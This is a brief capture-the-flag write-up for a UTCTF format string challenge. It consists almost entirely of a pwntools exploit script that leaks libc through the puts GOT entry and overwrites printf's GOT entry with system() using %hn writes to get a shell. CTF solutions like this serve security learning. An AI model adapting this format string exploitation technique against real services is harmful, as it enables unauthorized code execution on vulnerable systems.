Format String attackLeak libc and hijack printf got to system()```pythonfrom pwn import *
r = remote("binary.utctf.live",9003)
r.recvuntil("do?\n")
p = b"%7$s    "p += p64(0x601018) #puts got
r.sendline(p)puts = u64(r.recvline().split()[0].ljust(8,b'\x00'))libc = puts-0x6f690print("libc: "+hex(libc))system = libc+0x45390towrite = system%0x100000000print(hex(towrite))
wl = []wl.append([towrite%0x10000, 0x601020])wl.append([towrite//0x10000, 0x601022])
#swap = lambda a,b: b,a
if wl[0][0]>wl[1][0]:    wl[0],wl[1] = wl[1],wl[0]print(wl)
p = (b"%%%dc%%10$hn%%%dc%%11$hn" % (wl[0][0],wl[1][0]-wl[0][0])).ljust(32,b' ')p += p64(wl[0][1])+p64(wl[1][1])print(p)print(len(p))r.sendlineafter("do?\n",p)
r.interactive()```